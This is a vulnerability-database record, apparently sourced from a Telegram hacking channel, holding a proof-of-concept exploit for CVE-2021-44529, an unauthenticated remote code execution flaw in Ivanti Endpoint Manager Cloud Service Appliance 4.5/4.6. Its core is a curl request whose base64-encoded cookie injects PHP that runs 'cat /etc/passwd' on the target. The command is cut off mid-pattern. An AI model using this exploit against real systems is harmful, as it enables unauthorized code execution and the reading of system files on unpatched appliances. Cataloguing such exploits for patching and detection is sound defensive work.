{"uuid": "d3c588f6-6a11-4288-a076-69459219bdf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-44529", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/47189", "content": "Exploit Collector\nIvanti Endpoint Manager CSA 4.5 / 4.6 Remote Code Execution\n\nhttps://2.bp.blogspot.com/-v3K-Hxbn0Es/WWlvhvX1clI/AAAAAAAAIQY/UsJ0X_N1RWgdGsUiiIhYa-pG6QWPEsSmwCLcBGAs/s1600/h91.png \nIvanti Endpoint Manager CSA versions 4.5 and 4.6 suffer from an unauthenticated remote code execution vulnerability.\n\nMD5 | 59d3bc20720bd412425b82923627b636\n\nDownload\n# Exploit Title: Ivanti Endpoint Manager - Cloud Service Appliance (Unauthenticated Remote Code Execution) \n# Date: 20/03/2022 \n# Exploit Author: d7x \n# Vendor Homepage: https://www.ivanti.com/ \n# Software Link: https://forums.ivanti.com/s/article/Customer-Update-Cloud-Service-Appliance-4-6 \n# Version: CSA 4.6 4.5 - EOF Aug 2021 \n# Tested on: Linux x86_64 # CVE : CVE-2021-44529\n# CVE : CVE-2021-44529\n\n###\nThis is the RCE exploit for the following advisory (officially discovered by Jakub Kramarz): \nhttps://forums.ivanti.com/s/article/SA-2021-12-02?language=en_US\n\nShoutouts to phyr3wall for providing a hint to where the obfuscated code relies\n\n@d7x_real\nhttps://d7x.promiselabs.net\nhttps://www.promiselabs.net\n###\n\n# cat /etc/passwd\ncurl -i -s -k -X $'GET' -b $'e=ab; exec=c3lzdGVtKCJjYXQgL2V0Yy9wYXNzd2QiKTs=; pwn=; LDCSASESSID=' 'https://.../client/index.php' | tr -d \"\\n\" | grep -zPo '\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T01:00:34.446161Z"}